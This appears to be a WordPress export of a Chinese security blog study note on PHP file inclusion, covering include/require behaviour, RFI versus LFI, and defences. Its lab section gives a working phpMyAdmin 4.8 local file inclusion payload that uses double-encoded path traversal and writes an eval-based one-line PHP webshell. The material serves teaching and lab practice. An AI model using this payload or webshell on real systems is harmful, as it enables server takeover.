{"id":366,"date":"2022-01-06T09:09:08","date_gmt":"2022-01-06T01:09:08","guid":{"rendered":"https:\/\/www.langsasec.cn\/?p=366"},"modified":"2022-11-14T22:40:16","modified_gmt":"2022-11-14T14:40:16","slug":"fileinclude","status":"publish","type":"post","link":"https:\/\/blog.langsasec.cn\/index.php\/2022\/01\/06\/fileinclude\/","title":{"rendered":"\u6587\u4ef6\u5305\u542b"},"content":{"rendered":"

<\/span>\u4ec0\u4e48\u662f\u6587\u4ef6\u5305\u542b<\/span><\/h3>\n

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<\/span>include()<\/span><\/h4>\n
    \n
  • \u9047\u5230\u8981\u5305\u542b\u7684\u6587\u4ef6\u4e34\u65f6\u53bb\u52a0\u8f7d\u53bb\u5f15\u7528\u3002<\/li>\n
  • \u5f53\u5f15\u7528\u7684\u6587\u4ef6\u53d1\u751f\u9519\u8bef\u65f6\uff0c\u7cfb\u7edf\u53ea\u4f1a\u7ed9\u51fa\u4e2a\u8b66\u544a\u9519\u8bef\uff0c\u800c\u6574\u4e2aphp\u6587\u4ef6\u4f1a\u7ee7\u7eed\u6267\u884c\u3002<\/li>\n<\/ul>\n

    <\/span>require()<\/span><\/h4>\n
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    • \n

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      \u5728php\u6587\u4ef6\u88ab\u6267\u884c\u4e4b\u524d\uff0cphp\u89e3\u6790\u5668\u4f1a\u7528\u88ab\u5f15\u7528\u7684\u6587\u4ef6\u7684\u5168\u90e8\u5185\u5bb9\u66ff\u6362require\u8bed\u53e5\uff0c\u7136\u540e\u4e0erequire\u8bed\u53e5\u4e4b\u5916\u7684\u5176\u4ed6\u8bed\u53e5\u7ec4\u6210\u4e2a\u65b0\u7684php\u6587\u4ef6\uff0c\u6700\u597d\u540e\u6309\u65b0\u7684php\u6587\u4ef6\u6267\u884c\u7a0b\u5e8f\u4ee3\u7801\u3002<\/p>\n<\/li>\n

    • \n

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      <\/span>include_once()<\/span><\/h4>\n
        \n
      • \u5148\u68c0\u6d4b\u8be5\u6587\u4ef6\u662f\u5426\u5728\u8be5\u9875\u9762\u7684\u5176\u4ed6\u90e8\u5206\u88ab\u5f15\u7528\u8fc7\uff0c\u5982\u679c\u6709\uff0c\u5219\u4e0d\u4f1a\u91cd\u590d\u5f15\u7528\u8be5\u6587\u4ef6\uff0c\u7a0b\u5e8f\u53ea\u80fd\u5f15\u7528\u4e00\u6b21\u3002<\/li>\n
      • \u5982\u679c\u5728\u540c\u4e00\u4e2a\u7a0b\u5e8f\u4e2d\u91cd\u590d\u5bfc\u5165\u8fd9\u4e2a\u6587\u4ef6\uff0c\u5728\u7b2c\u4e8c\u6b21\u5bfc\u5165\u65f6\u4fbf\u4f1a\u53d1\u751f\u9519\u8bef\uff0cphp\u4e0d\u5141\u8bb8\u76f8\u540c\u540d\u79f0\u7684\u51fd\u6570\u88ab\u91cd\u590d\u58f0\u660e\u3002<\/li>\n<\/ul>\n

        <\/span>require_once()<\/span><\/h4>\n
          \n
        • \u5148\u4f1a\u68c0\u67e5\u8981\u5f15\u7528\u7684\u6587\u4ef6\u662f\u4e0d\u662f\u5df2\u5c06\u5728\u8be5\u7a0b\u5e8f\u4e2d\u7684\u5176\u4ed6\u5730\u65b9\u88ab\u5f15\u7528\u8fc7\uff0c\u5982\u679c\u6709\uff0c\u5219\u4e0d\u4f1a\u5728\u91cd\u590d\u8c03\u7528\u8be5\u6587\u4ef6\u3002<\/li>\n
        • \u4f7f\u7528require_once\u8bed\u53e5\u5728\u540c\u4e00\u9875\u9762\u4e2d\u5f15\u7528\u4e86\u4e24\u4e2a\u76f8\u540c\u7684\u6587\u4ef6\uff0c\u90a3\u4e48\u5728\u8f93\u51fa\u65f6\uff0c\u53ea\u6709\u7b2c\u4e00\u4e2a\u6587\u4ef6\u88ab\u6267\u884c\uff0c\u7b2c\u4e8c\u4e2a\u5f15\u7528\u7684\u6587\u4ef6\u5219\u4e0d\u4f1a\u88ab\u6267\u884c.<\/li>\n<\/ul>\n

          <\/span>\u6587\u4ef6\u5305\u542b\u83b7\u53d6 webshell \u7684\u6761\u4ef6<\/span><\/h3>\n

          \uff081\uff09\u653b\u51fb\u8005\u9700\u8981\u77e5\u9053\u6587\u4ef6\u5b58\u653e\u7684\u7269\u7406\u8def\u5f84\uff1b
          \n\uff082\uff09\u5bf9\u4e0a\u4f20\u6587\u4ef6\u6240\u5728\u76ee\u5f55\u62e5\u6709\u53ef\u6267\u884c\u6743\u9650\uff1b
          \n\uff083\uff09\u5b58\u5728\u6587\u4ef6\u5305\u542b\u6f0f\u6d1e\uff1b<\/p>\n

          <\/span>\u4efb\u610f\u6587\u4ef6\u5305\u542b\u6f0f\u6d1e<\/span><\/h3>\n

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          <\/span>\u8fdc\u7a0b\u6587\u4ef6\u5305\u542b(RFI)<\/span><\/h4>\n

          \u65e0\u8bba\u6587\u4ef6\u5728\u54ea\u91cc\u53ea\u8981\u80fd\u8bbf\u95ee\u5230\u5c31\u884c\u3002<\/p>\n

          PHP\u9ed8\u8ba4\u4e0d\u5f00\u542f\uff0c\u5f00\u542f\u9700\u8981allow_url_include = On\u3002<\/p>\n

          <\/span>\u672c\u5730\u6587\u4ef6\u5305\u542b(LFI)<\/span><\/h4>\n

          \u8981\u5305\u542b\u7684\u6587\u4ef6\u5fc5\u987b\u5728\u76ee\u6807\u4e3b\u673a\u4e0a\u3002<\/p>\n

          <\/span>\u5371\u5bb3<\/span><\/h3>\n

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          <\/span>\u9632\u5fa1<\/span><\/h3>\n
            \n
          1. \u65e0\u9700\u60c5\u51b5\u4e0b\u8bbe\u7f6eallow_url_include\u548callow_url_fopen\u4e3a\u5173\u95ed<\/li>\n
          2. \u5bf9\u53ef\u4ee5\u5305\u542b\u7684\u6587\u4ef6\u8fdb\u884c\u9650\u5236\uff0c\u53ef\u4ee5\u4f7f\u7528\u767d\u540d\u5355\u7684\u65b9\u5f0f\uff0c\u6216\u8005\u8bbe\u7f6e\u53ef\u4ee5\u5305\u542b\u7684\u76ee\u5f55\uff0c\u5982open_basedir<\/li>\n
          3. \u5efa\u8bae\u5047\u5b9a\u6240\u6709\u8f93\u5165\u90fd\u662f\u53ef\u7591\u7684\uff0c\u5c1d\u8bd5\u5bf9\u6240\u6709\u8f93\u5165\u63d0\u4ea4\u53ef\u80fd\u53ef\u80fd\u5305\u542b\u7684\u6587\u4ef6\u5730\u5740\uff0c\u5305\u62ec\u670d\u52a1\u5668\u672c\u5730\u6587\u4ef6\u53ca\u8fdc\u7a0b\u6587\u4ef6\uff0c\u8fdb\u884c\u4e25\u683c\u7684\u68c0\u67e5\uff0c\u53c2\u6570\u4e2d\u4e0d\u5141\u8bb8\u51fa\u73b0..\/\u4e4b\u7c7b\u7684\u76ee\u5f55\u8df3\u8f6c\u7b26\u3002<\/li>\n
          4. \u4e25\u683c\u68c0\u67e5include\u7c7b\u7684\u6587\u4ef6\u5305\u542b\u51fd\u6570\u4e2d\u7684\u53c2\u6570\u662f\u5426\u5916\u754c\u53ef\u63a7\u3002<\/li>\n<\/ol>\n

            <\/span>\u9776\u573a<\/span><\/h3>\n

            phpmyadmin4.8\u53ca\u5176\u4ee5\u4e0b\u5b58\u5728\u7684\u6f0f\u6d1e<\/p>\n

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              \n
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                \"image-20220105195435619\"<\/p>\n

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                \u4e0b\u9762\u6784\u9020\u8bed\u53e5\uff1a<\/p>\n

                ?target=    #\u4e3atarget\u4f20\u53c2\n\ndb_sql.php%253f  #url\u81ea\u52a8\u7f16\u7801\uff0c\u6240\u4ee5\u6211\u4eec\u9700\u8981\u5bf9?\u4e8c\u6b21\u7f16\u7801 \n    asd\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/phpstudy\/Mysql\/data\/test\/ceshi.frm    #\u56de\u9000\u5230\u6700\u9ad8\u76ee\u5f55\uff0c\u518d\u8fdb\u5230\u6570\u636e\u5e93\u76ee\u5f55\u4e2d\n\n&8=file_put_contents('LFI.php','<?php eval($_REQUEST[8])?>');    #\u901a\u8fc7\u4e00\u53e5\u8bdd\u6728\u9a6c\u5728\u5f53\u524d\u6587\u4ef6\u5939\u5199\u5165\u4e00\u4e2a\u4e00\u53e5\u8bdd\u6728\u9a6c\u65b9\u4fbf\u8fde\u63a5<\/code><\/pre>\n
                \u6267\u884c<\/p>\n
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                \"image-20220105202729632\"<\/p>\n
                \u6728\u9a6c\u8fde\u63a5\u6210\u529f\uff0c\u5e76\u627e\u5230flag<\/p>\n
                \"image-20220105203013651\"<\/p>\n","protected":false},"excerpt":{"rendered":"
                \u4ec0\u4e48\u662f\u6587\u4ef6\u5305\u542b \u4e3a\u4e86\u9632\u6b62\u7a0b\u5e8f\u4ee3\u7801\u5197\u4f59\uff0c\u53ea\u8981\u4f7f\u7528\u6587\u4ef6\u5305\u542b\u5904\u7406\u529f\u80fd\uff0c\u5c06\u6240\u9700\u6587\u4ef6\u5305\u542b\u8fdb\u6765\u5373\u53ef\uff0c\u4e0d\u5fc5\u518d\u91cd\u590d\u5b9a\u4e49\u5b83\u4eec\uff0c\u4ece […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[22,19],"tags":[],"class_list":["post-366","post","type-post","status-publish","format-standard","hentry","category-webpt-studynote","category-penetration-test"],"_links":{"self":[{"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/posts\/366","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/comments?post=366"}],"version-history":[{"count":3,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/posts\/366\/revisions"}],"predecessor-version":[{"id":1069,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/posts\/366\/revisions\/1069"}],"wp:attachment":[{"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/media?parent=366"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/categories?post=366"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/tags?post=366"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}